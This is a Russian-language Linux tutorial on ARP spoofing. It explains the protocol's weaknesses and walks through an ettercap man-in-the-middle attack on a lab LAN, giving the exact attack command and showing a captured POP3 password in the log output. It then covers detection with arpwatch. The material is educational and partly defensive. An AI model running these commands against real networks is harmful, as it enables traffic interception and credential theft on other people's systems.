Linux > ARP-spoofing
26.11.2014 17:11:12
Наиболее часто встречающиеся слова в статье:
[arpwatch] [ettercap] [Unknown] [MAC-адрес] [помощью] [выполнения] [ARP-spoofing''а] [выполняется] [ethernet] [происходит]
Статья:
ARP-spoofing (ARP-poisoning) — техника сетевой атаки, применяемая преимущественно в Ethernet, но возможная и в других, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена.
Алгоритм работы ARP
Протокол может использоваться в следующих случаях:
- Хост A хочет передать IP-пакет узлу B, находящемуся с ним в одной сети;
- Хост A хочет передать IP-пакет узлу B, находящемуся с ним в разных сетях, и пользуется для этого услугами маршрутизатора R.
В любом из этих случае узлом A будет использоваться протокол ARP, только в первом случае для определения MAC-адреса узла B, а во втором — для определения MAC-адреса маршрутизатора R. В последнем случае пакет будет передан маршрутизатору для дальнейшей ретрансляции.
Далее для простоты рассматривается первый случай, когда информацией обмениваются узлы, находящиеся непосредственном в одной сети. (Случай когда пакет адресован узлу находящемуся за маршрутизатором отличается только тем, что в пакетах передаваемых после того как ARP-преобразование завершено, используется IP-адрес получателя, но MAC-адрес маршрутизатора, а не получателя.)
Проблемы ARP
Протокол ARP является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Ситуация становится ещё более сложной, когда может использоваться самопроизвольный ARP (gratuitous ARP).
Самопроизвольный ARP — такое поведение ARP, когда ARP-ответ присылается, когда в этом (с точки зрения получателя) нет особой необходимости. Самопроизвольный ARP-ответ это пакет-ответ ARP, присланный без запроса. Он применяется для определения конфликтов IP-адресов в сети: как только станция получает адрес по DHCP или адрес присваивается вручную, рассылается ARP-ответ gratuitous ARP.
Самопроизвольный ARP может быть полезен в следующих случаях:
- Обновление ARP-таблиц, в частности, в кластерных системах;
- Информирование коммутаторов;
- Извещение о включении сетевого интерфейса.
Несмотря на эффективность самопроизвольного ARP, он является особенно небезопасным, поскольку с его помощью можно уверить удалённый узел в том, что MAC-адрес какой-либо системы, находящейся с ней в одной сети, изменился и указать, какой адрес используется теперь.
Инструменты для выполнения ARP-spoofing'а
В настоящее время существует несколько инструментов для выполнения ARP-spoofing'а, работающие как в ОС Linux, так и в ОС Windows.
Наиболее известные:
Все названные программы распространяются свободно.
Выполнение ARP-spoofing'а c помощью ettercap
[Пример выполнения атаки с помощью ettercap.] Рассмотрим как выполнить вышеописанную атаку с помощью ettercap.
- Что происходит на машине A.
- Что происходит на машине B.
- Что происходит на машине C.
Детально рассмотрим как выполняется ARP-spoofing. В качестве инструмента будем использовать программу ettercap, однако другие инструменты для выполнения ARP-spoofing'а работают аналогичным образом.
- Машина A — hostA — 192.168.15.201 — 00:04:75:75:46:B1
- Машина B — hostB — 192.168.15.254 — 00:0A:01:D4:D1:39
- Машина C — hostC — 192.168.15.200 — 00:0A:01:D4:D1:E3
Атаку выполняет hostC против узлов hostA и hostB.
Установить ettercap принятым в системе способом:
hostC%# apt-get install ettercap
Выполнить атаку против узлов hostA и hostB:
%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
Опции означают:
- -T — использовать текстовый (консольный) интерфейс;
- -M arp — использовать модуль ARP-spoofing'а для выполнения атаки;
- -L log — записывать журнал перехвата в файлы с именем log.*;
В качестве аргументов указываются IP-адреса машин, против которых нужно выполнять атаку ARP-spoofing.
Пусть, например, в это время узел
A обращается к узлу
B по протоколу POP3,
классическому примеру незащищённого, но очень распространённого протокола —
проверяет почту.
hostA %# nc 192.168.15.254 110 USER user +OK PASS password +OK LIST +OK .
Данные передающиеся между клиентом hostA и сервером hostB проходят через узел C. Они выводятся на экран и записываются в файлы.
После того как атака завершена для выхода из ettercap необходимо нажать q. Программа отсылает ARP-пакеты для восстановления старых записей в кэше ARP узлов, чтобы они общались друг с другом напрямую.
В текущем каталоге должны появиться два файла, начинающиеся словом, указанным после ключа -L при вызове ettercap:
%# ls log.* log.eci log.ecp
Просмотреть их содержимое можно с помощью программы etterlog, входящей в пакет ettercap:
%# etterlog log.eci etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA Log file version : NG-0.7.3 Timestamp : Thu Jun 21 12:23:11 2007 Type : LOG_INFO 1698 tcp OS fingerprint 7587 mac vendor fingerprint 2183 known services ================================================== IP address : 192.168.15.201 MAC address : 00:04:75:75:46:B1 ... MANUFACTURER : Sohoware DISTANCE : 0 TYPE : LAN host FINGERPRINT : OPERATING SYSTEM : UNKNOWN PORT : TCP 110 | pop-3 [] ACCOUNT : user / password (192.168.15.201) ==================================================
Как видно, пароль был успешно перехвачен.
Посмотрим как на узле hostA (атакуемом)
меняется ARP-таблица
До атаки.
hostA%# arp -an ? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0 ? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
Во время атаки.
hostA%# arp -an ? (192.168.15.254) at 00:0A:01:D4:D1:E3 [ether] on eth0 ? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
После атаки.
hostA%# arp -an ? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0 ? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
Если смотреть, что происходит на интерфейсе eth0 компьютера hostA (через который выполняется атака), можно увидеть, что как только начинается атака, на интерфейс поступают ARP-пакеты, которые указывают, что MAC-адрес машины 192.168.15.254 изменился. Пакеты приходят постоянно. Когда атака завершена, MAC-адрес в пакета внезапно меняется на другой. А потом они вообще перестают приходить.
%# tcpdump -i eth0 arp 08:34:20.231680 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:21.259637 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:22.287591 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:23.315522 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:32.463255 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown) 08:34:33.491040 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown) 08:34:34.514988 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
Точно также можно перехватить и прослушать телефонный звонок - VoIP-sniffing.
Такая техника гарантирует, что таблица ARP на жертвах будет восстановлена и никто не заметит атаки.
Методы обнаружения
arpwatch
Программа arpwatch отслеживает всю ARP-активность на указанных интерфейсах. Когда она замечает аномалии, например, изменение MAC-адреса при сохранении IP-адреса, или наоборот, она сообщает об этом в syslog.
Инсталляция и конфигурирование arpwatch
Процедуру инсталляции и конфигурирования arpwatch рассмотрим на примере системы Debian GNU/Linux.
Установка arpwatch выполняется традиционным для дистрибутива способом:
%# apt-get install arpwatch 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 124kB of archives. After unpacking 389kB of additional disk space will be used. Get:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2 [124kB] Fetched 124kB in 0s (177kB/s) Selecting previously deselected package arpwatch. (Reading database ... 22406 files and directories currently installed.) Unpacking arpwatch (from .../arpwatch_2.1a13-2_i386.deb) ... Setting up arpwatch (2.1a13-2) ... Starting Ethernet/FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.
После того как демон проинсталлирован, он автоматически запускается. (в других системах его, возможно, нужно будет запускать вручную.)
%# ps aux | grep arpwatch arpwatch 4810 0.5 0.4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p root 4827 0.0 0.1 2852 712 pts/6 R+ 08:36 0:00 grep arpwatch
Демон не имеет никаких конфигурационных файлов. Конфигурация arpwatch полностью определяется набором передаваемых ему ключей. В Debian GNU/Linux ключи указываются в конфигурационном файле /etc/default/arpwatch (в FreeBSD — в файле /etc/rc.conf).
При необходимости изменить конфигурацию arpwatch (в частности, заставить его прослушивать другие интерфейсы), нужно править указанный файл:
%# vi /etc/default/arpwatch %# cat /etc/default/arpwatch # Global options for arpwatch(8). # Debian: don't report bogons, don't use PROMISC. ARGS="-N -p" # Debian: run as `arpwatch' user. Empty this to run as root. RUNAS="arpwatch"
Если конфигурация была изменена, демон должен быть перезапущен:
%# /etc/init.d/arpwatch restart
Когда демон запускается, он обнаруживает новые станции. Не выполняется никаких активных действий — просто прослушивается ARP-трафик. Обнаруженные узлы запоминаются; о том, что обнаружен новый узел arpwatch сообщает в syslog.
Обо всех зафиксированных им аномалиях в работе протокола ARP демон также сообщает в syslog:
# tail -f /var/log/daemon.log Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.200 0:a:1:d4:d1:e3 eth0 Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.201 0:4:75:75:46:b1 eth0 Jun 21 08:37:09 s_all@linux2 arpwatch: new station 192.168.15.254 0:a:1:d4:d1:39 eth0 Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0 Jun 21 08:37:11 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0 Jun 21 08:37:12 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0 Jun 21 08:37:13 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Обратите внимание на строку
Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
которая сообщает о том, что узел 192.168.15.254 изменил MAC-адрес.
Возможно, это означает, что против узла, на котором запущен arpwatch выполняется ARP-spoofing с целью перехвата трафика, которым он обменивается с узлом 192.168.15.254.
источник http://xgu.ru/wiki/ARP-spoofing